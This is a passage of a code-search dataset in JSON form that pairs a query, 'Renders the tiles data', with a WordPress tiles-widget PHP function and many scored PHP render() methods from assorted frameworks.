$this->id;\n }", "title": "" }, { "docid": "a68bf7cd64b81bb2c363d27ce700a641", "score": "0.8128044", "text": "public function getuserId()\n {\n return $this->userId;\n }", "title": "" }, { "docid": "233fd86bed72362775e085170c8662da", "score": "0.81169677", "text": "public function getId_user()\n {\n return $this->_id_user;\n }", "title": "" }, { "docid": "233fd86bed72362775e085170c8662da", "score": "0.81169677", "text": "public function getId_user()\n {\n return $this->_id_user;\n }", "title": "" }, { "docid": "43256b31f4d70ed5cf6242e19370427f", "score": "0.8106209", "text": "public function getId()\n {\n return $this->user->id;\n }", "title": "" }, { "docid": "e1a5781bbb4117684fb15444c4f5f803", "score": "0.80919963", "text": "public function get_id()\n {\n\n $user_type = $this->isStaff ? \"staff\" : \"user\";\n\n return $this->database->get($user_type,'id',['user_url' => $this->username]);\n\n }", "title": "" } ]
bfc46349f1310ff6ba7a58c33becf343
Renders the tiles data The HTML code is written to the output buffer.
[ { "docid": "51724c354b0300a3e5c1f52a3bc9c187", "score": "0.0", "text": "private function drawTiles($tilesData, $classes) {\r\n list($x, $y, $width, $height) = TilesHelper::getDimensions($tilesData);\r\n\r\n $tilesClass = $classes ? ' ' . implode(' ', $classes) : '';\r\n $tilesStyle = 'padding-top:' . ($height / $width * 100) . '%';\r\n\r\n $tiles = [];\r\n\r\n foreach ($tilesData as $tile) {\r\n $tileLeft = ($tile->x - $x) / $width * 100 . '%';\r\n $tileTop = ($tile->y - $y) / $height * 100 . '%';\r\n $tileWidth = $tile->width / $width * 100 . '%';\r\n $tileHeight = $tile->height / $height * 100 . '%';\r\n $title = $tile->title;\r\n\r\n $style = \"left:$tileLeft;top:$tileTop;width:$tileWidth;height:$tileHeight;\";\r\n\r\n $image = null;\r\n $url = null;\r\n $tileClass = '';\r\n\r\n if ($tile->type === 'post' && $tile->postid !== 0) {\r\n $post = null;\r\n\r\n if ($tile->postid < 0) {\r\n $post = wp_get_recent_posts([\r\n 'numberposts' => 1, 'offset' => -1 - $tile->postid,\r\n 'post_status' => 'publish'\r\n ], OBJECT);\r\n\r\n if ($post === false)\r\n $post = null;\r\n else\r\n $post = $post[0];\r\n }\r\n else\r\n $post = get_post((int) $tile->postid);\r\n\r\n if ($post !== null) {\r\n $image = wp_get_attachment_image_src(get_post_thumbnail_id($post), 'large')[0];\r\n $url = get_permalink($post);\r\n\r\n if (!$title)\r\n $title = $post->post_title;\r\n }\r\n }\r\n elseif ($tile->type === 'url') {\r\n $url = $tile->url;\r\n $tileClass = $tile->icon;\r\n }\r\n\r\n if ($image !== null)\r\n $style .= 'background-image:url(' . \\esc_url($image) . ');';\r\n\r\n $tiles[] = [\r\n 'class' => $tileClass ? ' ' . $tileClass : '',\r\n 'style' => $style,\r\n 'url' => $url,\r\n 'title' => $title ? ' title=\"' . esc_attr($title) .\r\n '\" aria-label=\"' . esc_attr($title) . '\"' : ''\r\n ];\r\n }\r\n\r\n include MVVWB_TILES_VIEWS . 'TilesWidgetView.php';\r\n }", "title": "" } ]
[ { "docid": "ec0f5b08fa02ff2ff6bb64be004333ca", "score": "0.6725915", "text": "final function render()\n\t{\n\t\t$contents = ob_get_contents();\n\t\tob_end_clean();\n\t\techo $contents;\n\t}", "title": "" }, { "docid": "b6438fedc6f8e72021db3c54de231b89", "score": "0.650469", "text": "public function render(){\n\t\tprint($this->getContent());\n\t\tself::flush();\n\t}", "title": "" }, { "docid": "314095256fcec6195b52d93d76a6a3bf", "score": "0.6449063", "text": "public function render ()\n\t{\n\t\tforeach ($this->on_before_render as $callback)\n\t\t{\n\t\t\t$callback($this);\n\t\t}\n\n\t\t$this->rendered = $this->twig->render($this->template, $this->data);\n\n\t\tif ($this->get_cache_id() !== null)\n\t\t{\n\t\t\t\\Cache::set($this->get_cache_id(), $this->rendered);\n\t\t}\n\t}", "title": "" }, { "docid": "dcbc31abb53ecd04631015ff96dbd56c", "score": "0.64164907", "text": "public function render() {\r\n $htmlOut = $this->toHTML();\r\n echo $htmlOut;\r\n }", "title": "" }, { "docid": "48e17f1a4c6bb5f576bc7b8b6bfd627a", "score": "0.6376921", "text": "private function renderHTML () {\n // Set the HTTP status code and headers.\n header('HTTP/1.1 '.$this->statusCode);\n header('Content-Type: text/html');\n $this->setHeaders();\n // Extract the data and include the view file.\n extract($this->data);\n include($this->file);\n // Show the HTML console.\n if (CONSOLE) {\n require(SYS.'/html/console.php');\n }\n }", "title": "" }, { "docid": "74cc0a718aadadc4d888799b04b27e04", "score": "0.636112", "text": "public function render()\n {\n HttpContext::applySecurity();\n $this->preRender();\n $this->registerDependencies();\n $this->outputHeaders();\n \n if ($this->useOutputBuffering === true)\n HttpResponse::outputBufferStart();\n \n include_once($this->templateFile);\n \n if ($this->useOutputBuffering === true)\n {\n HttpResponse::setContentLength(HttpResponse::outputBufferGetLength());\n HttpResponse::outputBufferFlush();\n }\n \n }", "title": "" }, { "docid": "6d3bac4dc0aba2abecb15a4ee0dc5cab", "score": "0.63335013", "text": "public function render(){\n echo $this->tpl->render($this->memory);\n }", "title": "" }, { "docid": "2973d5776af0e8a1a45d0ccfa463d8fa", "score": "0.6284691", "text": "private function render()\n {\n try {\n $this->loadLayout($this->layoutName);\n } catch (ErrorException $e) {\n\n }\n\n // compiling view file with mustache, adding data if needs be\n $this->parseView();\n\n // compiling layout file\n $this->parseLayout();\n\n // Setting html headers\n\n // Returning html\n }", "title": "" }, { "docid": "cd0bedb3c3a0e83f73831ce910715f4c", "score": "0.6256713", "text": "public function Render()\n {\n echo $this->GetOutputHtml();\n }", "title": "" }, { "docid": "8cc6609db19206c4d4bf29b6d3db8b34", "score": "0.6254324", "text": "protected function renderInternal($_data_=null)\n {\n // we use special variable names here to avoid conflict when extracting data\n if (is_array($_data_))\n extract($_data_,EXTR_PREFIX_SAME,'data');\n else\n $data=$_data_;\n\n\t\tob_start();\n\t\tob_implicit_flush(false);\n\t\t/* XXX: perhaps replace this with include and throw an exception? */\n\t\trequire($this->viewfile);\n\t\t$this->buffer = ob_get_clean();\n }", "title": "" }, { "docid": "ad12fc9accc2715cb6c0dd8ee4830887", "score": "0.6251574", "text": "public function render() {\n ob_start();\n $this->display();\n return ob_get_clean();\n }", "title": "" }, { "docid": "07f827d21028254260f04d8a761fced5", "score": "0.6238133", "text": "public function render(){\n $this->compile_css();\n $this->compile_js();\n $this->compile_less();\n $this->get_messages();\n $this->compile_messages();\n //Load in the wrappers\n $this->load_default_wrappers();\n //render the body\n $html = '';\n $html .= $this->htmlHead;\n $html .= $this->content;\n $html .= $this->close;\n return $html;\n }", "title": "" }, { "docid": "9f55bb95e3b06615b0fbe60cf655c5a7", "score": "0.6220717", "text": "public function render(Array $data) {\n //extract($data);\n ob_start();\n include($this->template);\n $content = ob_get_contents();\n ob_end_clean();\n return $content;\n }", "title": "" }, { "docid": "201fc3b899181f5e9e6794bf56ee5dbe", "score": "0.6204531", "text": "public function render() {\n $mapArray = json_decode($this->map);\n $mapHTML = '';\n\n for($row = 0; $row < sizeof($mapArray); $row++) {\n $mapHTML .= '<div class=\"row\">';\n\n for($i = 0; $i < sizeof($mapArray[$row]); $i++) {\n $mapHTML .= '<div class=\"node ' . $this->terrainClasses[$mapArray[$row][$i]] . '\" data-x=\"' . $i . '\" data-y=\"' . $row . '\" data-type=\"' . $mapArray[$row][$i] . '\"></div>';\n }\n\n $mapHTML .= '</div>';\n }\n\n return $mapHTML;\n }", "title": "" }, { "docid": "c91e0c81aea7e1a41e21875841c58844", "score": "0.6202644", "text": "abstract public function _render();", "title": "" }, { "docid": "f3a5d11ecd6e850a9a59abcba84c3aee", "score": "0.62005395", "text": "public function render_content(){\n\t\t$this->get_header();\n\t\t$this->view();\n\t\t$this->get_footer();\n\t}", "title": "" }, { "docid": "d9dabcf6e7754124f2bff14e6ab87c0f", "score": "0.61994225", "text": "public function render()\n {\n // The simplest way to do that is Slim::render, but that is not allowed\n // in middleware, because it uses Slim\\View::display which prints\n // directly to the native PHP output buffer.\n // Doing that is problematic, because the HTTP headers set via $app->response()\n // must be output first, which won't happen until after the middleware\n // is completed. Output of headers and body is done by the Slim::run entry point.\n\n // The below is copied from Slim::render (slim/[email protected]).\n // Modified to use View::fetch + Response::write, instead of View::display.\n $this->app->view->appendData($this->_templateVars);\n $body = $this->app->view->fetch($this->_template);\n $this->app->response->write($body);\n }", "title": "" }, { "docid": "3e78ef6b34b7cf1168b96ac84b0f2e3c", "score": "0.61667466", "text": "private function render()\n {\n ini_set('memory_limit', SLIRConfig::$maxMemoryToAllocate . 'M');\n $this->copySourceToRendered();\n $this->getSource()->destroy();\n $this->getRendered()->applyTransformations();\n }", "title": "" }, { "docid": "59b7c6254517c6f2006018b5949b6851", "score": "0.6156103", "text": "function render()\n {\n echo $this->getOutput();\n }", "title": "" }, { "docid": "ab7ef381885a6e7077e1bcc3c3d59abc", "score": "0.6152948", "text": "public function render() {\n\t\textract($this->getArrayCopy());\n\t\tob_start();\n\t\tinclude($this->file);\n\t\treturn ob_get_clean();\n\t}", "title": "" }, { "docid": "b497e7903265920e7274ba3f162609f5", "score": "0.61349523", "text": "public function render($data);", "title": "" }, { "docid": "9c90e0b032015c29874dd0a50866b260", "score": "0.6129911", "text": "public function render() { \n $contents = \"\";\n $action = $this->_route[\"action\"];\n $context = $this->_getContext();\n $type = $context->router->type;\n $object = $context->router->controller;\n $parameters = $context->router->parameters;\n\n\n if (method_exists($object,\"beforeRender\")) {\n call_user_func(array($object,\"beforeRender\"));\n }\n ob_clean();\n\n if ( ($this->_cache!==false) &&($this->_cache->data!==null) ) {\n $contents = $this->_cache->data;\n }\n else {\n ob_start();\n $contents = call_user_func_array(array($object,$action),$parameters); \n if (strlen($contents)===0) {\n $contents = ob_get_contents();\n }\n ob_clean();\n }\n\n\n if (method_exists($object,\"afterRender\")) {\n call_user_func(array($object,\"afterRender\"));\n }\n\n $this->_length = strlen($contents)+40;\n $this->_sendHeaders();\n\n print \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\";\n print $contents;\n\n if ($context->cache!==false) {\n if ($context->cache->data===null) {\n $this->_setCachedData($contents);\n }\n }\n }", "title": "" }, { "docid": "cb57c5d4be9a8d24039b97b72da267ed", "score": "0.6118357", "text": "public function render(){\n\n \\Timber\\Timber::render( $this->templates, $this->context );\n\n }", "title": "" }, { "docid": "22914cb2fd7b1b27c41a43b95749ecae", "score": "0.6113786", "text": "public function render()\n\t{\n\t\t// The extract function is a weird bird\n\t\t// when you call it on an associative array\n\t\t// it creates regular vars.\n\t\t// For instance:\n\t\t// \t\t$this->pageVars[\"yourVar\"]\n\t\t// becomes:\n\t\t// \t\t$yourVar\n\t\t// so basically we are converting all the\n\t\t// index keys (with their values), in pageVars to\n\t\t// their own respected variables\n\t\textract($this->pageVars);\n\n\t\t// Now that we have all the variables extracted, the vars we set\n\t\t// in the template will be replaced by the value of the pageVars variables.\n\t\t// Now we start up our output buffer, grab our template and return the\n\t\t// buffer with it's \"rendered\" template\n\n\t\tob_start();\n\t\tif($this->blank == false) {\n\t\t\trequire('templates/header.html');\n\t\t}\n\t\t\trequire($this->template);\n\t\tif($this->blank == false) {\n\t\t\trequire('templates/footer.html');\n\t\t}\n\t\treturn ob_get_clean();\n\t}", "title": "" }, { "docid": "87aa6770527ec994180278f16ebe27df", "score": "0.6106076", "text": "public function render() {\n\t\textract($this->export());\n\t\tob_start();\n\t\tinclude($this->file);\n\t\treturn ob_get_clean();\n\t}", "title": "" }, { "docid": "5843c2a956a9239ccf31d5f6ae55b3c6", "score": "0.6102293", "text": "function displayHTML($contentTileArray){\n\tuasort($contentTileArray, 'sortByOrder');\n\t$count = 1;\n\tforeach($contentTileArray as $tile){\n\t\t// get the layout for the current tile and render using proper HTML\n\t\tswitch ( intval($tile['layout']) ){\n\t\t\tcase 1: // Default 2 column layout with with alternating columns.\t\t\n\t\t\t\t$row = new pageTile(\"contentTile \".$tile['containerClass']);\n\t\t\t\tif($count % 2 == 0){\n\t\t\t\t\t$row->addTextColumn($tile['col1'],\"col-md-push-6\");\n\t\t\t\t\t$row->addTextColumn($tile['col2'],\"col-md-pull-6\");\n\n\t\t\t\t}else{\n\t\t\t\t\t$row->addTextColumn($tile['col1'],\"\");\n\t\t\t\t\t$row->addTextColumn($tile['col2'],\"\");\n\t\t\t\t}\t\n\t\t\t\techo $row->build();\n\t\t\tbreak;\n\t\t\t\n\t\t\tcase 2: // Image Slider layout\n\t\t\t\t$row = new pageTile(\"contentTile \".$tile['containerClass']);\n\t\t\t\techo \"NOT IMPLEMENTED\";\n\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\tcase 4: // Employee directory display\n\t\t\t\t$row = new pageTile(\"contentTile employeeBio\");\n\t\t\t\t$row->addsmTextColumn($tile['col1'],\"\");\n\t\t\t\t$row->addsmTextColumn($tile['col2'],\"\");\n\t\t\t\techo $row->build();\n\t\t\tbreak;\n\t\t\t\n\t\t\tcase 5: // Custom Layout, create row and insert col1 data\n\t\t\t\t$row = new pageTile( $tile['containerClass'] ); // REMOVED .\" hidden-xs\"\n\t\t\t\t$row->setText($tile['col1']);\n\t\t\t\techo $row->build();\n\t\t\t\n\t\t\tbreak;\n\t\t\tcase 6: // Google serch results layout\n\t\t\t\t$row = new html_element(\"div\");\n\t\t\t\t$row->set(\"class\",\"row\");\n\t\t\t\t$col = new html_element(\"div\");\n\t\t\t\t$col->set(\"class\",\"col-md-12 \".$tile['col12']);\n\t\t\t\t$col->set(\"text\",$tile['col1']);\n\t\t\t\t$row->inject($col);\n\t\t\t\techo $row->build();\n\t\t\tbreak;\n\t\t}\n\t\t\t$count++;\n\t}\n}", "title": "" }, { "docid": "3b43ef69342288520f07f69e5b38d6e1", "score": "0.60953194", "text": "protected function _render()\n {\n return $this->_renderFullReturn($this->_renderReturn(\n $this->_toHTML(),\n 'text/html; charset=' . $this->_mimepart->getCharset()\n\n ));\n }", "title": "" }, { "docid": "7bd39c1dcc3c390d73a94d04f5f5f857", "score": "0.60923576", "text": "function _render() {\r\n\r\n\t}", "title": "" }, { "docid": "3d9caa4b745e6d95464d7535e2afbb15", "score": "0.6068019", "text": "function render(){\n\t\t//render all the areas\n\t\t$area1 = $this->renderAreaParts(\"area1\");\n\t\t$area2 = $this->renderAreaParts(\"area2\");\n\t\t$area3 = $this->renderAreaParts(\"area3\");\n\t\t$area4 = $this->renderAreaParts(\"area4\");\n\t\t$area5 = $this->renderAreaParts(\"area5\");\n\n\t\t$header = $this->renderHeader();\n\t\t$footer = $this->renderFooter();\n\t\t$links = $this->renderLinks();\n\n\t\t//figure out what layout we are using and pass all\n\t\t//data to the layout to arrange\n\t\tglobal $theme;\n\t\t$template = new template();\n\t\t$template->setDirectory($this->layout->getDirectory());\n\t\t$template->setFile($this->layout->filename.\".tmpl.php\");\n\t\tif($this->layout->filename == \"\")\n\t\t\t$template->setFile(\"Columns1.tmpl.php\");\n\n\t\t//if a part requested to be rendered alone, send it to the\n\t\t//special editAlone layout\n\t\tif (isset($this->renderAlone)) {\n\t\t\t$area2 = $this->renderAlone;\n\t\t\t$layout = new layout();\n\t\t\t$layout->loadFromDatabaseByName(\"EditAlone\");\n\n\t\t\t$template->setDirectory($layout->getDirectory());\n\t\t\t$template->setFile($layout->filename.\".tmpl.php\");\n\t\t}\n\n\t\t//pass all data to the layout and render\n\t\t$template->setVars(compact(\"area1\",\"area2\",\"area3\",\"area4\",\"area5\",\"header\",\"footer\",\"links\"));\n\t\t$template->depth = 1;\n\t\t$renderedPage = $template->fetch();\n\n\t\treturn $renderedPage;\n\t}", "title": "" }, { "docid": "ead45c71dd56463202f95cc28576433f", "score": "0.6066816", "text": "final public function render()\r\n\t{\r\n\t\t$this->run();\r\n\r\n\t\t$this->_view->setVariables(get_object_vars($this));\r\n\t\t$this->_view->render();\r\n\t\treturn $this->_view->content();\r\n\t}", "title": "" }, { "docid": "0bb4c0dc8afb5d8ead6a2ace653494c7", "score": "0.60619164", "text": "public function renderView() {\n\n\t\t$trips = $this->cacheResponse();\n\n\t\tob_start();\n\t\t?>\n\t\t<div class=\"mission-trips\">\n\t\t\t<?php $this->getAllTrips( $trips ); ?>\n\t\t</div>\n\t\t<?php\n\t\t$output = ob_get_contents();\n\n\t\tob_get_clean();\n\n\t\treturn $output;\n\t}", "title": "" }, { "docid": "9b0f06deebefff9b1ec57b2eba6fab7c", "score": "0.6057424", "text": "abstract public function ___render();", "title": "" }, { "docid": "db37f396387e216a4978f2934c0e502a", "score": "0.60486907", "text": "public function render() {\n include '../application/templates/head.html';\n\n $html = '' . \"\\n\";\n $html .= $this->buildHeader($this->page_id);\n $html .= '<h1>Create Character</h1>' . \"\\n\";\n $html .= $this->buildCharacterCreation();\n\n echo $html;\n\n include '../application/templates/footer.html';\n }", "title": "" }, { "docid": "6a73042597e74f23ea58888499dba0f5", "score": "0.60322654", "text": "public function render() {\n extract($this->data);\n ob_start();\n include($this->file);\n $output = ob_get_contents();\n ob_end_clean();\n return $output;\n }", "title": "" }, { "docid": "c684a636cc01f4b9f66dc317a66ddeab", "score": "0.6005882", "text": "public function render($data = array()) {\n $this->setClientToResponse();\n //get any preloaded items that are in the Response object\n $data = array_merge(is_null($data) ? array() : $data, $this->httpResponse->getAttributes());\n\n\n $this->loadTemplate();\n\n // The second parameter of json_decode forces parsing into an associative array\n //we extract to make data visible across the template\n extract(json_decode(json_encode($data), true));\n\n\n //include all files first\n $this->renderIncludes();\n\n //include all sections from views.yml before we render anything\n $this->renderSections();\n\n\n // $this->renderHTMLTags();\n $this->placeHeadJSFiles();\n $this->placeJSFiles();\n $this->placeCSSFiles();\n// $this->renderURITags($template);\n\n /* use this to determine errors by line number */\n// echo $this->template;\n// die;\n\n\n $viewConfig = $this->loadViewConfig();\n $siteConfig = $this->loadConfig($this->httpRequest->getSiteParams()->getConfigPath() . 'config.yml');\n\n //replace any remaining #theme# tags\n $this->template = str_replace('#theme#', \"/themes/\" . $siteConfig['theme'][$viewConfig['themetype']], $this->template);\n ob_start();\n (eval(\"?>\" . $this->template));\n $result = ob_get_clean();\n\n return array('data' => $result);\n }", "title": "" }, { "docid": "9447b6ece6ea13856226ea3a15bf28fe", "score": "0.6005731", "text": "public function render()\n {\n extract($this->data);\n include(self::VIEWPATH . $this->name . '.view.php');\n }", "title": "" }, { "docid": "490fba4a2511c9508f2aeab986e29d5f", "score": "0.5961039", "text": "function render() {\r\n\t\t\r\n\t}", "title": "" }, { "docid": "6312f1e5bca385b1ec975929fb9660d6", "score": "0.5943564", "text": "private static function render(array $data)\n {\n // Clean previous output\n if (ob_get_length()) {\n ob_end_clean();\n }\n\n ob_start();\n\n /**\n * \n * Loading error diagnosis data for the view\n * such as (user varibles & constantes, GLOBALES...)\n * \n */\n new FerrorHelpers($data);\n\n require_once dirname(__FILE__) . \"../../Resources/template.php\";\n\n $getContents = ob_get_contents();\n\n ob_end_clean();\n\n echo $getContents;\n }", "title": "" }, { "docid": "6e5feb1df0009d4fbad4a7e5628dcd04", "score": "0.5942546", "text": "function render()\n\t{\n\t\t$this->verifyInstance();\n\t\t$this->_render->setTemplate(TEMPLATER_TEMPLATE_PATH . $this->_template);\n\t\t$this->_render->setData($this->_data);\n\t\t$this->_render->getHTML();\n\t\t$this->_render->renderContent();\n\t\t$this->_content = $this->_render->getContent();\n\t\treturn $this->_content;\n\t}", "title": "" }, { "docid": "54352d1de3aca6c5d3156dcb44cb0279", "score": "0.593433", "text": "public function render($data = null);", "title": "" }, { "docid": "b7f89043fdf80c2bd0c5080679406993", "score": "0.5921395", "text": "public function do_output() {\n\t\t?>\n\t\t\n\t\t\t<div class=\"row\">\n\t\t\t <div class=\"l-content-full-width block __media\">\n\t\t\t <h2>Left or Right</h2>\t\t\t\t \t\t <div class=\"l-content-d5-d10\">\n\t\t\t\t \t<?php\n\t\t\t\t\t\tforeach ($this->array as $item) {\n\t\t\t\t\t\tif($item['side'] == 'Left') {\n\t\t\t\t\t\t\t$this->do_item_loop($item);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t?>\n\t\t\t\t </div>\n\t\t\t\t <div class=\"l-content-d11-d16\">\n\t\t\t\t\t<?php\n\t\t\t\t\t\tforeach ($this->array as $item) {\n\t\t\t\t\t\tif($item['side'] == 'Right') {\n\t\t\t\t\t\t\t$this->do_item_loop($item);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t?>\n\t\t\t\t </div>\n\t\t\t </div> <!-- .l-content-full-width -->\n\t\t\t</div> <!-- .row -->\n\t\t\n\t\t<?php\n\t\t}", "title": "" }, { "docid": "986e624e86919e67f1f3a731cb6d6abf", "score": "0.5919476", "text": "public function render() {\n echo \"<!DOCTYPE html>\\n\" . $this->getHTML();\n }", "title": "" }, { "docid": "829b91557f51ae1ad2ca001912ea187e", "score": "0.59144694", "text": "protected function renderContent() {\n\t\techo 'test output';\n\t}", "title": "" }, { "docid": "1d3d53905e89d864c3060013be5e3d9e", "score": "0.59123516", "text": "public function render(array $data = []): string\n {\n\n //expands array as var\n $this->data($data);\n unset($data);\n extract($this->data);\n\n try {\n $level = ob_get_level();\n\n //dump buffer\n ob_start();\n include $this->path();\n \n $content = ob_get_clean();\n \n return $content;\n } catch (Throwable $e) {\n while (ob_get_level() > $level) {\n ob_end_clean();\n }\n throw $e;\n } catch (Exception $e) {\n while (ob_get_level() > $level) {\n ob_end_clean();\n }\n throw $e;\n }\n }", "title": "" }, { "docid": "b636edb19b551f3de71f81fcd37ae73b", "score": "0.5907466", "text": "public function render($rack) {\n\t\techo '<table class=\"rack\">';\n\t\techo '<tr>';\n\t\tforeach ($rack->get_tiles() as $tile) {\n\t\t\t$value = $rack->get_tile($tile);\n\t\t\techo \"<td data-rackid=\\\"{$tile}\\\">{$value}</td>\";\n\t\t}\n\t\techo '</tr>';\n\t\techo '</table>';\n\t}", "title": "" }, { "docid": "62217bb65750f9c956a074fe7effba88", "score": "0.5890087", "text": "protected function render() {\n\t\t$this->html = $this->dom->saveXML(\n\t\t\t$this->dom->getElementsByTagName( 'body' )\n\t\t\t\t->item( 0 )->childNodes->item( 0 ) );\n\t}", "title": "" }, { "docid": "a7dd6f8a179644b0ba5689d753bc0b4e", "score": "0.5886597", "text": "protected function RenderHTML()\n\t{\n\t $dispmode = $this->GetDisplayMode();\n\t $this->SetDisplayMode($dispmode->GetMode());\n\n $smarty = BizSystem::GetSmartyTemplate();\n $smarty->assign_by_ref(\"name\", $this->m_Name);\n $smarty->assign_by_ref(\"title\", $this->m_Title);\n $smarty->assign_by_ref(\"formstate\", $this->m_FormState);\n $smarty->assign_by_ref(\"toolbar\", $this->m_ToolBar->Render());\n\n if ($dispmode->m_DataFormat == \"array\") // if dataFormat is array, call array render function\n $smarty->assign_by_ref(\"fields\", $this->RenderArray());\n else if ($dispmode->m_DataFormat == \"table\") // if dataFormat is table, call table render function.\n {\n $smarty->assign_by_ref(\"table\", $this->RenderTable());\n $smarty->assign_by_ref(\"formobj\", $this);\n }\n else if ($dispmode->m_DataFormat == \"block\" && $dispmode->m_FormatStyle)\n $smarty->assign_by_ref(\"block\", $this->RenderFormattedTable());\n\n $smarty->assign_by_ref(\"navbar\", $this->m_NavBar->Render());\n\n //$smarty->assign_by_ref(\"contextmenu\", $this->RenderContextMenu());\n\n\t return $smarty->fetch($dispmode->m_TemplateFile)\n\t . \"\\n\" . $this->RenderShortcutKeys()\n\t . \"\\n\" . $this->RenderContextMenu();\n\t}", "title": "" }, { "docid": "c8750074076fe7a18c5662a4e3be2900", "score": "0.5882679", "text": "public function render($data, $encoding);", "title": "" }, { "docid": "21f8079df95a50d4c0a6ce2e6a9e7b49", "score": "0.5868055", "text": "public function render()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "f0a743a6e678a1b58368783f7d76731a", "score": "0.585992", "text": "protected function render_content() {\r\n\r\n\t}", "title": "" }, { "docid": "34ead3b79c3c478995504f89cc981258", "score": "0.58578676", "text": "private function render(){\n $apps = $this->apps;\n $response = HttpResponse::getInstance();\n\n //check if client don't ask a broken link\n if($this->get('askedRoute') === \"notFound\"){\n $response->setStatus(404);\n }\n\n $this->execute('beforeLaunchAction');\n\n $this->lauchController($apps);\n\n $this->execute('afterLaunchAction');\n\n // check if our app need to be rendered\n Log::save('Render layout');\n $this->execute('beforeRender');\n\n $template = $this->global['template'];\n $view = new $template();\n\n $body = $view->render();\n \n $this->execute('beforeMakeHttpResponse');\n Log::save('Render Http Response');\n $response->setBody($body);\n\n $this->execute('beforeSendHttpResponse');\n Log::save('Finish render');\n\n echo $response->send();\n }", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.58456844", "text": "abstract public function render();", "title": "" }, { "docid": "459c3f47c1ff0c5c595269407988160c", "score": "0.58388", "text": "public function render()\n {\n extract($this->params);\n ob_start();\n include($this->view);\n return ob_get_clean();\n }", "title": "" }, { "docid": "6ab9fd4a21cd6ec0334a6f8fe3237d68", "score": "0.58358425", "text": "public function run()\n {\n $this->enqueue();\n $this->renderHeader();\n $this->renderContent();\n $this->renderNonce();\n $this->renderFooter();\n }", "title": "" }, { "docid": "c911495c501f201e2b80aca22bcfdccf", "score": "0.5835115", "text": "public function renderContent(){\n //execute the php content and return it as string, then you can echo it later\n ob_start();\n $data = $this->data;\n //get the php view file path\n $viewPath = BASE_PATH.'/protected/views/'.$this->controllerName.'/'.$this->viewBluePrint.'.php';\n include($viewPath);\n $returned = ob_get_contents();\n ob_end_clean();\n return $returned;\n }", "title": "" }, { "docid": "951df95563b3a00021b3ca691c1face8", "score": "0.58263683", "text": "public function renderHtml(){\n $bc = $this->getHtml();\n echo $bc;\n }", "title": "" }, { "docid": "3ff0fced2e78d9e364b2ea9705828613", "score": "0.5825994", "text": "protected function _toHTML() {\r\n\r\n // Render all child blocks as html into the _data array by block name (alias)\r\n if(!empty($this->_blockList)) {\r\n // Call each block and get it's HTML output into parent block _data collection\r\n\t // Disabled blocks still load _data with blanks. That way the _data block will contain a valid block key.\r\n foreach($this->_blockList as $_name=>$_blk) {\r\n $blkname = $_blk->getAlias();\r\n $this->_data[$blkname] = $this->getChildHtml($_name);\r\n }\r\n }\r\n\r\n // Render the View. If no template defined, output the rendered blocks\r\n if(!empty($this->_template)) {\r\n // Render the template using the defined engine\r\n $this->appendBody($this->_layoutLib->callEngine($this->_engine,$this));\r\n } else {\r\n // If no template defined, just output the rendered child blocks.\r\n // If there are no child blocks, whatever is in the _body will be output.\r\n foreach($this->_blockList as $_name=>$_blk) {\r\n if($_blk->isEnabled()) {\r\n $alias = $_blk->getAlias();\r\n $this->appendBody($this->_data[$alias]);\r\n }\r\n }\r\n }\r\n \r\n return $this->getBody();\r\n }", "title": "" }, { "docid": "98b1c80ddd6d58ad5f20981f33572687", "score": "0.5808393", "text": "public function render() {\n $this->smarty->display($this->template);\n }", "title": "" }, { "docid": "b30d3dcbe1636856ce8e0f8f9f3e80df", "score": "0.5805273", "text": "public function render(){\n\t\t\n\t\t// fixed create html mockup\n\t\t$this->el = new XTemplate($this->temp,$this->path);\n $this->el->parse('main');\n\t\techo $this->el->text('main');\n\t\t\n\t}", "title": "" }, { "docid": "23cc039b9de52540ada5424498e2716e", "score": "0.57959795", "text": "public function render()\n {\n $this->data['content'] = $this->parser->parse($this->data['pagebody'], $this->data, true);\n $this->parser->parse('info/flights', $this->data);\n }", "title": "" }, { "docid": "295d978b327fdd92f3a5c8a0805d5c05", "score": "0.57921565", "text": "public function render()\n {\n ob_start();\n include $this->data['path'];\n\n return ob_get_clean();\n }", "title": "" }, { "docid": "727dc8f1a351c062e60a37c5ac647b04", "score": "0.5786123", "text": "public function draw() {\n\t\n\t\t$this->apply_headers();\n\t\n\t\tif (is_null($this->content)) {\n\t\t\t$this->content();\n\t\t}\n\t\n\t\tprint $this->content;\n\t\n\t}", "title": "" }, { "docid": "13233953b76f290b16f782a697fa1f6b", "score": "0.5778568", "text": "public function renderAll(){\n\n\t\tpTemplate::setNoBorder();\n\n\t\tif(isset(pRegister::arg()['ajax']))\n\t\t\tdie((new pTerminal)->ajax());\n\n\t\tp::Out('\n\t\t<div class=\"pentry fake-browser-ui\">');\n\t\t(new pTerminal)->initialState();\n\t\tp::Out('</div>');\n\t}", "title": "" }, { "docid": 